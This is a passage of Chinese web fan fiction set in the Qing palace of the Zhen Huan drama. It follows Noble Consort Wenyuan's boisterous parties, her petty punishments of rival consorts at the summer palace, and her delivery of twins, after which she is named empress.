他这么多年拼命敛财站到高处早就忘了初心,从前是为了年世兰不在皇上的后院受欺负,后来,就变成了享受。 从虎贲将军之女那碗堕胎药起,世兰就再也没有能说上一句心里话的好友了。 如今曦贵妃虽然野蛮粗鲁又可怕,但到底是真心对待世兰的。 年羹尧不傻,这道理他还是想的通的。 “罢了罢了。” 还是有点不甘心,但微微探出的脚脚还没到该去的地方,府里的六子年杰就被人打断了腿。 谁做的,不用查都知道。 这些满族大姓间的能量他早就知道,只是如今的皇上没出息,才叫他越发狂妄。 两人间的试探和粗暴镇压并没有告知年世兰,年世兰仍旧每日快乐的从翊坤宫跑到永寿宫和文鸳一起玩儿,就连欢宜香都不熏了。 虽然麝香是个好东西,但她的鸳鸳有了身孕,还是谨慎些好。 皇上也没什么意见,文鸳凭一己之力把年羹尧打压下去,这时候就算华妃生七八个儿子,他也不觉有威胁。 这紫禁城里,现在对皇上最有威胁的,已经换成了曦贵妃。 那些寻常的乐子似是有些腻歪了,皇上还没松口气,这头又换了新鲜的法子。 “臣妾叫南府排了几个新曲子,皇上要不要跟咱们一起玩儿玩儿?” 总是这些活动,春暖花开时总要找些别的趣味才好。 文鸳给南府的要求只有一个,这曲子,入了耳,就要手脚不自觉的动起来才行。 南府的乐师虽然为难,但到底和九族的羁绊实在叫他们动力十足。 排练的几首曲子有曾经文鸳在外头听的蹦迪的那味儿了。 偏还带了十足的古典韵味,一个‘妙’字已经不足以形容其中精奇。 “又闹出了什么幺蛾子?” 皇上虽然嘴上嫌弃,但脚步很诚实的跟着文鸳往畅音阁方向走。 “什么幺蛾子,皇上不要乱说哦。” 文鸳的肚子有些大了,前儿个太医把脉说肚子里是双胎,给皇上喜的脸上始终带着笑模样。 “好好好,是朕说错话了。今日太医可来请脉了?身子怎么样?” 也是例行公事了,皇上看脸色就知道,这偌大个紫禁城,再没有比文鸳气色更好的人了。 “好着呢。” 跟文鸳相处久了,皇上也习惯了这种去哪都是靠两条腿的自助模式。就这么溜达着,两个人穿过大半个紫禁城到了畅音阁。 南府的乐师已经做好了准备,文鸳小手一抬,一阵高昂又动感的音调响起,众人听的奇怪但又十分上头。 古筝,古琴,竹笛,长箫,琵琶,阮琴,云锣通通上场,好听中又带了一丝吵闹。 皇上捂着胸口看着适应的很快的嫔妃,总觉得自己和这里格格不入。 瞧着自家曦贵妃已经举着手帕挥动了起来,不一会儿华妃等人也被传染着加入了进去。 皇上的手在大腿上放着不自觉的跟着动了两下,很想加入怎么回事? 文鸳似是察觉到了皇上的包袱,她把桌上的那个从编钟上拆下来的最小号像摇铃一样的东西塞到了皇上手里。 “晃起来啊皇上。” 除却南府的乐师,这屋子里头的宫人都是自个儿身边贴身伺候的,倒是也不担心形象的问题。 皇上跟着曲子晃了一会儿,就这么没有技术含量的动作,居然做了一身汗。 “这也太好玩儿了吧!” 华妃和阿茹娜已经沉浸在了曲子中,两个人又是能喝的,举起桌上的白玉杯一杯接一杯的干。 好在是度数极低的荔枝酒,就是想多喝也是没有的。荔枝娇气,京城这边本就不多,这酒也是沛国公送来的,拢共就这么一小坛子。 “就你鬼主意多,这是打量着有着身孕玩儿少了,又弄出这么些动静。” 皇上对文鸳这番闹腾已经有了很清晰的了解,月份大了又是双胎,踢毽球和跳百索等活动已经被完全禁止。 本以为这人能安分些,没想到一山更比一山高,这动静闹的连他都想继续玩儿下去。 “嘿嘿,不然闲着多无聊啊。皇上你不知道,臣妾只要坐着就觉得浑身难受。那天实在无聊去延禧宫找富察贵人玩儿了一会儿,因为没什么玩意儿,臣妾一使劲儿把门给掰下来了。” 皇上深吸口气,对自己的紫禁城很心痛。 “你,小心些吧。” 这话到底是在心疼文鸳还是在心疼那扇无辜的门,就只有皇上自己知道了。 文鸳的肚子到了六个多月时,紫禁城大部分宫室已经用上了冰。 “这天儿也太热了,皇上怎么还不说着去避暑?” 孕妇的体温本就偏高,文鸳又是个冬日里都不怕冷的,一到夏天她在屋子里还好,外头实在待不下去。 华妃举着一盏用冰冰过的果子送到文鸳嘴边,声音里带着安抚的轻哄着:“用了这个果子,我去找皇上说说去。” 一旁的温宜眼巴巴的趴在文鸳旁边,举着小脑袋流着口水。 “你想吃嘛小温宜?” 文鸳一口吞了白玉勺上的红果,当着温宜的面嚼嚼嚼,还发出了美味的喟叹:“真好吃啊!” 小小的温宜还不到一岁,被文鸳馋的啊啊啊的说着听不懂的婴语。曹贵人在一旁也不管,自顾自的打着络子。 “也就是温宜脾气好,换作我,非要打你一顿才好。” 一旁的富察仪欣坐的离冰盆很近,嫌弃的看了眼欺负小孩的文鸳。 夏冬春跑到长春宫和方佳常在蹭齐妃的饭去了,富察仪欣懒得在延禧宫看安陵容那张时刻欲言又止着的脸,便跑到了永寿宫躲着。 “不过这安常在离了甄答应两人倒是顺眼了许多。” 曹贵人笑了笑,把手里的络子在文鸳的团扇上比划了一下道:“安常在瞧着不大气,但为人聪慧。从前甄答应和沈常在总是高高在上的不顾安常在的心意,可不就显得瑟缩。” 后宫人就这么多,上次体罚甄嬛和沈眉庄的时候皇上到场倒是看到了安陵容。 再次侍寝,没有宜修的捣乱便十分的成功。 不算得皇上的喜爱,但这独一份的柔情似水确实叫皇上很稀奇。这不也晋了位分,再不是最末等的答应了。 宝娟又是个心眼子多的,抓住机会很是给自家主子洗脑了一波。后宫没有人能靠的住,自己得宠要比靠她人接济要好。 安陵容听劝的争宠,成功在去圆明园之前得了封号柔,压在了沈眉庄和甄嬛两人头上。 文鸳乐得看戏,听说碎玉轩两人常常关着门商量着什么。文鸳可等着这次的圆明园之行,应该能有不少新鲜的乐子。 第295 章 瓜尔佳文鸳26 这后宫里如今位分最高的便是文鸳,宫权自然也在她手里握着。 华妃倒是没有和好姐妹争权的念头,只是怕文鸳有孕辛苦,日日在永寿宫上手帮衬一二。 文鸳又是个闲不住的性子,每每叫了亲戚宗妇进宫寒暄,又拉着关系好的在畅音阁听了几场戏,后宫里的热闹比前朝更甚。 这期待已久的圆明园之行很是热闹,加着文鸳月份大了,崔佳氏收拾了包袱,来到圆明园陪着女儿待产。 皇上是知道文鸳娇气又闹腾的性子,四月份起就开始准备这次避暑之行。 “朕叫人把镂月开云和天然图画两处给你围了起来,一个离着朕的勤政点近些,一个也是地方大,方便你会客。” 皇上这么大方有两个原因,一是因为文鸳担起了皇后之责,和宗亲命妇联络紧密,对前朝有颇有裨益。 二是离宫前眼前这位挺着大肚子的曦贵妃又跑去寿康宫闹腾了一场,把太后的私房都取了去。 这倒便罢了,太后生气着要给曦贵妃禁足降位,这可把小混蛋惹恼了。 又哭又闹的跑到宁寿宫作了一下午,皇考贵妃被吵的头脑发晕,不得已的往他这养心殿报了一声,叫手里的人意思意思去乌雅氏一族做个样子。 谁知道竟是这一下倒是给他的国库增了一大笔的款项。 从乌雅氏拉出来的贡品有太多是他这个皇上都没见过的。那一箱箱金元宝和银锭子铺成地砖能给紫禁城重新改头换面。 本想着抄家流放也算是给乌雅氏留一个太后的面子。 谁曾想小混蛋那个记仇的跑过来叉着腰说什么“太后明里暗里念叨的不都是乌拉那拉氏?想必太后娘娘是看不上包衣乌雅氏的,皇上何不并秉公执法,也好叫那些贪赃枉法之徒有个警示。” 这话说到了皇上的心坎里,虽然皇上心知肚明这是文鸳对太后要降她位分的报复,但也算言之有理。 有太后的友情支持,文鸳在院子里的住处更是奢华无比。 本以为崔佳氏来了好歹能约束文鸳一二,谁知道崔佳氏是个偏宠女儿没什么底线的。 皇上还是得亲自去看着人,不然心里头总是突突着。 “皇上皇上,臣妾约了信郡王一家在曲院风荷用膳,您来不来?” 曲院风荷毗邻福海,中间的蓬岛瑶台正适合作为大型蹦迪的现场,既不会太闹腾叫她肚子里已经长小耳朵的娃娃不舒服,又可以叫南府的人有个发挥的场地。一举两得,十分适合和好朋友聚会。 自孟静娴嫁到奉国将军府后,身子也不病弱了,人也精神了,和星保小两口也算是蜜里调油。沛国公和信郡王一家隔三差五的往曦贵妃这里送些稀罕物,关系十分的亲近。 “又排了新曲子?” 皇上如今对文鸳的行程了如指掌,崔佳氏指望不上,华妃更是没眼看,只会跟着曦贵妃后头‘鸳鸳,鸳鸳’的配合着,满宫里只有他一个靠谱的。 “南府的人报了新戏目,臣妾想着都是自家人,正巧兰兰也说家里的小妹世芍到了定亲的年纪,咱们宗室多的是没有继承爵位的男子,正好叫信郡王帮着挑一挑。” “你决定就好,只是曲院风荷到底邻水,你如今月份大了,还是要小心些。” 自从不用管皇后的分内事后,皇上有了大量的时间处理前朝的政务和锻炼。 而且文鸳看着虎了吧唧的,其实心里有一份天真但真诚的章程,不仅对皇上在宗亲来往上有许多帮助,甚至还给了他一个闹腾但不污秽的后宫。 南府在这位皇上登基后,前半年一直是拿死工资混日子的。自从这位曦贵妃进宫后,他们的活儿虽然十分有挑战性,但得到的赏赐也多。所以大家排练起来十分的尽力。 蓬岛瑶台已经被布置妥当,皇上和文鸳相携来到曲院风荷,场景热闹又鲜活。 除了信郡王一家,文鸳还叫来了敦亲王一家。 敦亲王如今的福晋乃是继福晋赫舍里氏,若论关系,可以叫上一句表姐。 再加上敦亲王福晋带着女儿去永寿宫请过几次安,孩子王文鸳十分得人心,敦亲王如今也变得温顺了许多。 至于果郡王允礼,因着文鸳明确的表达了不喜,也在年宴上当众把他喜欢在别人后院转悠的习惯挑破,皇上已经久不召见他了。 这次避暑自然也跟果郡王没什么关系,没有官职没有娶亲,和他们这些有儿有女的怎么能聊到一块去呢?索性就不叫了。 既然打着给太后请安的幌子在宫里头转,那就在宫里给太后侍疾吧。被抄了老家又被文鸳气的起不来床的太后,是真的很需要侍疾。 “皇嫂这曲子叫什么?也太有意思了。” 敦亲王挥着胖胖的胳膊不一会儿就给自己累出了一身汗。 “南府新排的,你若是喜欢便叫人抄了谱子自个儿玩去。” 习惯了缠绵悱恻的音调和大气悠扬的曲风,这种活泼又带了些神奇的吸引力的曲子实在叫众人上头。 年世芍的婚事在这片热闹的环境中定下了平郡王的八子阿济格。 平郡王纳尔苏是清太祖努尔哈赤七世孙,是属清朝八大铁帽子王之一的克勤郡王系,这位阿济格虽然是庶子,但却是纳尔苏最喜欢的妾室的儿子。 只是为人有些木讷,酷爱读书,不善言辞,正因为如此,那些勋贵家的公子不爱带他一起玩儿,倒正好因祸得福没有落下什么坏毛病。 文鸳自个儿组织的小宴,自然不会邀请她不喜欢的人,安陵容便罢了,她一直知道曦贵妃因着甄嬛二人对她有所不喜。 甄嬛和沈眉庄却心里头不痛快。 被安置在映水兰香的两人相对而坐,小小的屋子静默无声,隐约能听到外头那奇异的韵律,越发显得这小小角落里的孤寂。 “你可是打算好了?” 沈眉庄身上也没什么钱了,沈家说不管是真的不管,自从沈自山那一封信后,沈眉庄再没有收到过一个铜板。 如今两人凑了凑钱,能用的也不过二百两。 对于每顿饭都要去御膳房花钱要些新鲜的肉菜的两人,如果这次不成功,便只能忍受着常在和答应那点微薄的份例过活了。 甄嬛拉着沈眉庄的手:“姐姐,我也没有别的选择了。自进宫后本想安静度日,可事不随人愿。若只是吃喝差些也无妨,总归咱们二人有一处安心之地便好。 如今的光景眉姐姐也看到了,曦贵妃势大,华妃丽嫔等人皆在其势力之下。就连陵容,柔常在也稳步高升。” 说到这里,甄嬛摩挲着沈眉庄的手语气里带了些无奈:“进宫后得眉姐姐照应才有嬛儿如今,总要一试,才不算辜负眉姐姐的辛苦。” 沈眉庄感动的反握住甄嬛的手:“你尽力便是,若不成,有我陪着你,日子总不会难过。” 甄嬛摸了摸自己的脸,没有再说话。 第296 章 瓜尔佳文鸳27 本就是避暑之行,即使园子里清凉,大家也不愿在烈日当头下出来活动。除却早晚,这地界儿也算是安静祥和。 不知从何日起,住在杏花春馆和上天天光的人日日都听到一阵琴箫合奏的曲声,虽然也算美妙,但夏日本就多燥,这般动静并不显得优美,反而叫大家觉得打扰。 富察仪欣和夏冬春住在杏花春馆,两人对这堪称骚扰的曲子有极大的不满。 “也不知道是何人,总是在人家午睡的时候弄出动静,真是烦人。” 自从开辟了‘蹦迪’活动,傍晚至月梢是大家最喜欢的时光,只要手头有闲钱的,都可以叫了南府的乐师小奏一番。 不用像曦贵妃那般声势浩大,单独的琵琶或筝类都好,三两人小聚在稍显野趣的庭院,对着月色小酌两杯,既不扰了别人的清净,也乐得自在。 关上院门,宽敞的圆明园足够大家尽兴的玩闹一番。皇上乐得去哪个嫔妃宫里住着都好,得空的旁人自有自个儿的趣味。 大家默契的遵循着不扰民的原则,从来没有闹出过矛盾。 但这几日午后的韵律实在叫大家烦恼。 夜晚有了打发时间的活动便睡的晚些,中午日头正足大家都乐得在阴凉的屋子里睡个午觉。 况且大家的院子都在后湖周围,这动静不加掩饰的往耳朵里钻,叫文鸳这里收到了大量的投诉。 “鸳鸳你不知道,每到我昏昏欲睡的时候,那动静准时的在耳边盘旋,实在恼人。” 华妃更是可怜,她白日里要帮着文鸳处理宫务,晚上还愿意和丽嫔曹贵人听会儿曲子,就指望着中午这一会儿攒攒体力,总是被破坏。 每天都要去勤政殿骚扰皇上的文鸳确实对这事不太了解。勤政殿离后湖有些距离,再加上她确实也闹腾些,单是她自己弄出来的动静就够这附近的人听了,外头的声音这边接收不到。 “今儿本宫给你们做主。” 难得文鸳空出来时间跟华妃她们玩儿,倒是给了后湖的动静一个可乘之机。 “不过,好像只响了一会儿。” 文鸳住的地方虽然是镂月开云和天然图画的结合体,但皇上修建的寝殿比较靠前,所以声音也并不算真切。 “今儿倒是奇了,难不成是知道你这个曦贵妃在,不敢出声了?” 越想越生气,曦贵妃纵然厉害,她华妃难道差了吗?! “不行,本宫倒要去看看是什么牛鬼蛇神的,连本宫都不放在眼里!” 这热闹文鸳必须参加啊,她虽然怕热但精力十足。 “走,我陪你一起,我也去看看,谁这么没规矩还敢欺负我的兰兰。” 只要是和文鸳一同出门,华妃都会换上平底的绣花鞋。方便路上万一有个意外,她好扶住文鸳。 夏冬春几人也跟着起身,一行人浩浩荡荡的往后湖北边方向出发。 “本宫当是谁,原来又是你们两个。怎么?夜里争宠还不够,白日里也要做那不值钱的样子吗?” 映入眼帘的可不就是甄嬛和沈眉庄两人,旁边还站着的皇上自动的被华妃和文鸳略了过去。 文鸳还以为甄嬛能有什么好主意来争宠呢,不还是弹琴跳舞那一套吗?真是无聊的很。 皇上刚想开口说些什么,就被文鸳拽到了身后。 “皇上您看着就是了,众位姐妹午后休息被吵的头晕脑胀的,怎么也得叫大家出了这口气才能维持后宫和谐。” 皇上摸了摸鼻子,他本来是想说他也是被这动静吸引来的。 甄嬛和沈眉庄也是故意挑的这个时辰作妖,早上皇上要处理政事,下午要陪着曦贵妃遛弯散步,晚上倒是个好机会,但经过两个人的仔细观察,好像每个院子都有点动静,她们两个的动静很可能被淹没其中。 这才挑了中午午休这个时间段,一是安静,二也是观察着皇上没什么安排。 只是两个人到底不受宠,进宫这么久根本没有什么章程,别说打听消息,连笼络园子里自个儿院子里的宫人的钱都不够,自然不知道曦贵妃日日在勤政殿的事情。 不过好在阴差阳错的也算是达成了目的,只是同样带来了风险,也不知道二人能不能承受的住了。 “华妃娘娘恕罪,嫔妾和眉姐姐也是第一次来到圆明园,这里景色优美环境清幽,所以一时技痒扰了娘娘清净,是嫔妾之过。” 甄嬛这几日都有刻意的装扮,浅绿色的衣裳清雅的首饰,再加上华妃嚣张不耐的神色衬托下,更显得楚楚动人。 “怎么?映水兰香是没有地方叫你们两个弹琴吗?偏要绕这么远的路来这后湖边上卖弄,是打量着别人看不出你们的伎俩吗?” 华妃自从跟文鸳走近后,说话更加肆无忌惮了,她从前就不是个能忍得住脾气的性子,现在愈发伶俐。 敬嫔和欣常在两人听到动静在后面凑着热闹,瞧华妃现如今的样子心里头也庆幸曦贵妃精力十足绊住了华妃找事的脚步。 “依本宫看,这两人还是太闲了。” 文鸳上下打量了一下甄嬛和沈眉庄两人,嘴角高高挑起露出了算计的笑容。 “曦贵妃说的是,那依你的意思,应当怎么处置这二人为好啊?” 华妃只看文鸳的神色就知道这人又有了歪主意,配合着疑惑的表情开口询问。 “这还不简单,不需要午休就是不困,既然不困那就跟着本宫一起玩儿吧。” 华妃张了张嘴,刚想说跟她们有什么好玩儿的,就看到文鸳的笑容十分的‘邪恶’。 她默默的后退了一步,站到了皇上身边。 甄嬛和沈眉庄二人对视一眼,脸上的神色是如出一辙的犹豫。 “怎么?你们两个不愿意和本宫一起玩儿?” 文鸳往前走了两步,吓的甄嬛和沈眉庄不自觉的后退。 “嫔妾不敢,嫔妾听曦贵妃的安排。” 即便知道曦贵妃没安好心又能怎么样?皇上在一旁看着华妃头上的步摇出神,求助无门又怕曦贵妃再扣上什么不尊重满军旗的帽子,只好强笑着答应下来。 “兰兰,带皇上回去休息吧,我有玩儿的了。” 虽然月份大了,但一身精力不见衰减,缠磨皇上已经榨不出多少新鲜感了,文鸳打算开辟新地图。 圆明园之-后宫夏令营。 第297 章 瓜尔佳文鸳28 “既然你们两个不困,正好陪本宫溜溜弯儿。” 这圆明园是先皇赐给皇上避暑的园子,起始大小不过六百亩左右。 皇上作为雍亲王时不敢大肆修建,登基后又被空旷的国库拖累,到现在为止,这园子也不过一千亩。 虽然一直在扩建,不过也得是过几年后,才有三千亩的大小。 然而单是这六百亩的大小,就够甄嬛二人消磨掉所有的心眼子了。 “快走啊,别说本宫不带你们两个玩儿,你瞧那柔常在,巴不得本宫带她一起呢。本宫啊,偏就要带你们两个,瞧你们三个互相看不上眼的样子,本宫就高兴。” 文鸳虽然熊,但能享受的时候是不会放弃一点属于自己的权益的。 她身边有宫女打扇,身后有太监举着华盖,穿着平底鞋走在树荫下,不仅不热也不累。 为着可怜的宫人着想,每到一处都会更换一批宫人,这样既保证了清凉,也不至于苛待了自个儿的下人。 反观甄嬛二人,位分低没有钱,仅剩的二百两都用来了打扮自个儿,哪有多余的银钱降温。 还要忍受着曦贵妃的冷言冷语阴阳怪气,从精神到身体被摧残了个遍。 看着曦贵妃身边的宫人换了一批又一批,完成一段路程的宫人甚至还有绿豆汤和清暑的汤药,叫她们有种自己还不如下人的感觉。 “这块空地儿不错,正好溜达着也没意思,咱们玩儿投壶如何?” 文鸳象征性的说了一句,后头的宫人紧跟着就忙碌了起来。 已经热的头晕眼花,别说顶嘴,就连腿也抬不动了的甄嬛和沈眉庄有心拒绝,但还未开口就被架着走到了文鸳身边。 好在投壶并不算特别劳累的运动,甄嬛和沈眉庄两人在树荫下缓和了会儿精神,紧跟着又开始了紧张的比赛。 “茉莉,栀子你们一起,今儿谁投中的最多,本宫有赏。” 投壶就是要人多才热闹,可是大中午的实在没几个跟她一样精神的,还好甄嬛和沈眉庄挺耐造。 只是,茉莉和栀子能跟着全天儿这么折腾全靠着人参养荣丸支撑着。 而甄嬛和沈眉庄就没有那么好的东西给她们撑着这口气了。 好不容易熬过了投壶,举目望去,她们一行人居然走到了方壶胜境的地界儿,即便是原路返回,也是一段遥遥无望的距离。 本就是强弩之末,又被突如其来考核宫规的曦贵妃一折腾,水灵灵的晕了过去。 正在观察两人蹲礼是否规范的文鸳被吓了一跳。 “沈常在和甄答应也太没规矩了,晕倒之前也不知道跟本宫说一声,白白吓的本宫一激灵。” 对于自家娘娘的胡搅蛮缠,底下的宫人都习以为常。 自家娘娘会心疼他们下人,会给他们喝药汤,偏偏就折腾沈常在和甄答应二人。她们两个难道不应该反思自己吗? “娘娘,这沈常在和甄答应身子不好也不提前说一声,害的您受了惊吓。正好如今在方壶胜境,奴婢叫人看着就是了,娘娘还是先回去吧。 海棠在宫里研究了新鲜的吃食呢,娘娘想不想尝尝?” 茉莉和栀子虽然身体累些,但其实过的比贵人小主还要自在。 她们负责的工作就是跟着文鸳,就连端茶的工作,都是二等宫女端到跟前,她们才接手。 文鸳也怕这两个得力小助手被累坏,一人配了一个小丫头给她们使唤。 所以对于看文鸳眼色这一块,两人自认是最出色的。 “你说的也是,叫人看着吧,醒了就叫她们过来陪本宫玩儿脚架。顺便告诉她们一声,这三个月的月例赔给本宫,就当是弥补本宫受到的惊吓了。” 原剧里烧了我们原主的宫室,没有赔偿便罢了,连句道歉都没有,且等着吧,她日后有的是由头罚回来。 文鸳的脚架也是下头人送来的一个可以攀爬的木架子,随意叫了个名儿而已。 那木架子有六七米的宽度,斜倚在天然图画的墙头,和梯子不同,其攀登的宽度并不一致,增添了些许难度。 文鸳有孕后玩儿不得这些,但是喜欢看人比赛。 第一名总会有些奖励,不是银锭子就是银花生。也不拘男女,谁都能试一试。 皇上也由着她,左右不是折腾他就行。 方壶胜境并没有安排嫔妃入住,这院子也只是个空荡的院子,里头倒是种了些桃花和梨花,可惜也不是季节。 院子里有房舍五间,只是简单的清扫,不具备养病的条件。 而且方壶胜境偏远,太医若是要过去,可需要些时间。 甄嬛和沈眉庄没有等到太医到来,自个儿就醒了。 文鸳也知道皇上对甄嬛那张脸还有些惦记,自然会为她保留着。 虽然她们不配华盖,但是配荷叶啊。 两个人就这么头顶着荷叶穿过了半个圆明园,不好看不重要,没有晒黑才是关键。 “二位小主醒了就好,贵妃娘娘说您二位醒了便去天然图画,咱们娘娘等着您一起玩儿呢。” 宝鸽和采星喂着自家主子喝了水,一个面无表情一个面色忿忿。 “瞧着这位姑娘对咱们贵妃娘娘的旨意有不满呢。既然如此,咱们便回天然图画叫贵妃评定一下姑娘的冤屈吧。” 紫薇身为文鸳身边的宫女,最瞧不起这种看不清自己身份的人。 她们娘娘虽然闹腾了点,但从不折腾不放在眼里的人。 就比如沈常在和甄答应,若不是总犯到她们娘娘手里,至于这样吗? “紫薇姑娘误会了,我这婢女只是瞧我中了暑热担忧罢了,并未对贵妃娘娘不满。” 沈眉庄不得不低下头,采星是她带进宫的婢女,若是真落到曦贵妃手里,定是没什么好。 “这话小主说了不算。” 紫薇直接叫人把采星带了下去。 甄嬛和沈眉庄只好强撑着身子起身,磕磕绊绊的来到天然图画。 刚才一直在走只觉得疲累,再次醒来浑身都酸痛。 可这一身难过又没处诉说,曦贵妃的做法任谁看了都算不得大事。 没有禁足没有降位没有罚钱没有打骂,只是陪贵妃散散步,说不得说出去,还有人觉得她和眉姐姐不识好歹。 两人对视一眼,对文鸳的防备更深。这样一位智勇双谋的贵妃若是看不上她们还好,可偏偏两人先前已经多有冒犯。 天然图画。 “你们两个回来了?这也太慢了。” 文鸳已经用过了晚膳,日头西落外头起了席席凉风,正准备和华妃夏冬春一起去后湖摘些荷花。 “罢了罢了,回你们的院子去吧,明儿本宫再叫你们。” 这两人蔫头耷脑的样子实在算不得好看,华妃笑的不加掩饰,更加叫甄嬛和沈眉庄无地自容。 皇上问了一嘴甄嬛的现状,得知她的脸还在时招了人侍寝。 毕竟他知道这只是第一天,若是再等两日,这张脸不一定还能看。 而回到映水兰香的甄嬛还没吃口饭,就接到了侍寝的通知。 两人还以为今日的偶遇叫皇上印象深刻,顾不得身体的疲累连忙随着侍寝嬷嬷去洗涮。 不过到底被晒了一下午,虽然带着荷叶,但明显脸比身上红了一个度的甄嬛叫嬷嬷有些为难。 嬷嬷手持香粉拼命的往甄嬛脸上扑。 “嬷嬷,想必皇上劳累一天,也不愿意闻着太过浓重的香粉味道。” 甄嬛回去还没有照镜子,所以委婉的告诉嬷嬷不想要涂这么多香粉。 “小主,您的脸太红了,不扑香粉实在不好看。” 这位嬷嬷可不是芳若,才不管这位甄答应有没有什么特别,反正她只干她自己的份内工作。 甄嬛哑口无言,深吸口气默念:以色侍他人终不长久。 只是没有色,皇上根本不愿意了解她的内在。这侍寝囫囵着过去,皇上觉得食之无味弃之可惜,而甄嬛因着白天太过疲累,直接闭眼睡了过去。 众所周知,白天的运动量超过本人的承受力时,夜晚是极有可能在深度睡眠中打小呼噜的。 这并不是抹黑,而是正常的生理现象。 原女主甄嬛也不例外。 她是第一个在龙床上打呼噜的人,成功把皇上吵醒。 在后半夜被送回到了映水兰香。 比起她看不起的安陵容完璧归赵,半夜被送回去好像也不是多好听的名声。 第298 章 瓜尔佳文鸳29 没有晋位没有赏赐,甄嬛继安陵容后成为了后宫的第二个笑话。 “这甄答应可真好笑,咱们向来都是侍寝了被送回去,得皇上喜欢了便留宿在那里。这睡到半夜被送回去的,可也是头一份了。” 夏冬春不放过任何一个嘲笑甄嬛的机会,她捂着嘴四下看了一圈,像是说书的先生,叫人忍俊不禁。 文鸳位列贵妃,又是皇上属意的皇后,后宫的请安自然在曦贵妃这里。 甄嬛侍寝后,按规矩要跟皇后行了大礼才算。如今虽然没有皇后,但有和皇后只差一个名头的曦贵妃,即便知道今日请安血雨腥风,甄嬛也不得不来。 如她所料,那刺耳的嘲笑环绕在身侧,叫她坐立难安。 “皇上的心思岂是咱们嫔妃可以揣测的,夏常在妄议皇上,可是大不敬。” 甄嬛从不是个好欺负的,夏冬春嘴笨,是最好回怼的人。 “你,你胡说什么!” 夏冬春果然是个草包炸药,又好点又没什么内涵。 华妃摸了摸头上的簪子翻了个白眼:“甄答应果然伶牙俐齿,只是尊卑这二字你始终记不住。 夏常在即使只是个常在,也是在你的位分之上。不知道这么长时间的规矩你是怎么学的,要本宫再报给曦贵妃给你找个嬷嬷吗?” 虽然看不上夏冬春的蠢样子,但到底是一起玩儿的伙伴,华妃还是出声声援了一下。 “甄答应还是给夏常在赔个不是吧,夏常在即便言语有失也并未提及皇上,拿皇上说事的,始终都是你甄答应啊。若是曦贵妃娘娘知道了,怕是又要生气了。” 曹贵人笑眯眯的样子看着无害,但说的话却扎进了甄嬛心里。 然而甄嬛并不认为自己有错,即便是低头也说的叫人窝火:“夏常在,是嫔妾言语有失,只是怕夏常在议论皇上才有些偏颇罢了。” “本宫怎么说今儿天然图画里一股子发霉的茶叶味儿,原来是甄答应来了啊。” 文鸳从后头出来,扶着肚子冷眼瞧着甄嬛。 “嫔妾给曦贵妃请安,曦贵妃万福金安。” 甄嬛看见文鸳就觉得双腿酸疼,对昨日的体罚深感恐惧。 看了一圈底下的嫔妃,文鸳半晌没有说话。 气氛一时间有些凝滞,就连华妃都不知道文鸳在想什么。不过她倒是不急,总归好姐妹想做什么就做什么。 “本宫这天然图画一直气氛和谐,嫔妃请安向来都不拘束。只是这甄答应一来,便张着嘴叭叭的说着颠倒黑白的话。 夏常在话虽然不好听,但说的是事实。 而你,甄答应,少拿你那一套撇清自己牵连她人的习惯带进本宫这里。下贱的东西,竟会这些蛇营狗苟的脏事。” 这话多少带了些个人恩怨了,毕竟原主可是真真被甄嬛当过垫脚石立威的。不过是一报还一报罢了。 “嫔妾万不敢担此罪责,只是夏常在说话难听嫔妾才......” 甄嬛自然要为自己辩解,文鸳抬了抬手阻止了她的话。 “夏常在说话难听难道是你胡乱扣罪名的理由吗?若你这般说,那本宫瞧甄远道不痛快,叫人给他安个‘通敌卖国’的罪名可好?” 甄嬛的脸色由青转白,神色带了惶恐:“是嫔妾误言,请曦贵妃恕罪。” 文鸳在心底冷笑一声,你瞧,甄嬛不是不知道胡乱扣帽子的威力,只是她是始作俑者,才毫无顾忌的使用这一套。 “那便,自今日起,你陪夏常在在院中甩鞭五百下吧。” 夏冬春喜欢玩鞭子,华妃虽然也喜欢,但夏冬春也不敢真的和华妃过过招。 有甄嬛陪着,想必夏冬春也能玩儿个尽兴了。 听着是不痛不痒的惩罚,却是叫甄嬛的脸色一日比一日难看。 且不说夏冬春那张嘴,甄嬛甚至练出了麒麟臂。 天知道她看到自己粗壮的右臂到底有多崩溃,可无论怎么预防都无济于事。 甄嬛受的折磨暂且不提,文鸳的肚子也到了预产期。 双胎本就比单胎更容易早产,天然图画早早就准备好了接生嬷嬷和奶嬷嬷。 被禁足在景仁宫的谦嫔明显还是不死心,她虽然落魄但曾经太后手底下的人她是知道的。 再加上太后对文鸳也怀恨在心,自然也配合着皇后想要促成文鸳母子俱亡的下场。 只是乌雅氏被抄家,乌拉那拉氏没什么大用,宫里头还有一个皇考贵妃时刻注意着二人的动静。姑侄俩忙碌几天仍旧一无所获。 即便送了接生嬷嬷到圆明园,可曦贵妃身边都是瓜尔佳氏送进去的人手,根本无法接近。 文鸳坐到了贵妃的位子,肚子里有着两个皇嗣,瓜尔佳氏只要不傻就不会放过这泼天的富贵的。 “皇考贵妃送了信来,宫里那两位可是不太安分。” 崔佳氏手里头做着小衣裳,眉头不抬的轻声说道。 文鸳虚虚的摸了摸肚子:“不过是困兽之斗罢了,既然还有力气闹,那就叫人把太后的药稀释几遍吧。” 谦嫔不足为惧,太后在后宫盘踞多年总有些不为人知的手段,与其等她下手反击,不如提前叫她安安分分的,也好过她没轻没重的下手没有分寸,给她的孩儿添了晦气。 “诶,都是小事,你莫要操心。” 如今再大的事也没有肚子里的孩子重要,崔佳氏也只是叫文鸳有个警醒。 皇上日日都要往天然图画跑上两趟,时刻等着文鸳肚子里的孩子降生。 天遂人愿,在甄嬛祈祷了多日的小雨降临时,文鸳的肚子也发动了。 “娘娘身子养的好,胎位也正,用些吃食攒些力气。” 接生嬷嬷和太医一同看过后,天然图画有条不紊的忙碌起来。 好在地府的这药是管售后的,不仅吃什么生什么,就连生产都较寻常人顺利的多。 女儿先一步出来,快五斤的婴儿嚎哭的十分响亮。 紧接着儿子也跟着来到这个世界上和大家打招呼,同样的嗓门外头等候着的人听了两回。 皇上又庆幸于孩子的健康,又对自己今后的生活有一些具象化的预感。 “恭喜皇上,曦贵妃平安生下小阿哥和小公主,是龙凤胎大喜。” 站在人后的甄嬛总觉得这番场景在梦里见过,只是主角并不是如今的曦贵妃,而是自己。 “哈哈哈,高无庸,宣旨。” 皇上高兴的看看两个孩子,把一早准备好的圣旨叫高无庸宣读。 刨去华丽的辞藻和不符合事实的夸奖,这圣旨的总结下来只有一个中心思想,封文鸳为后。 皇上想过几种可能,不管是两个公主或者是两个阿哥,那便册封皇贵妃,待孩子满月时再封后。 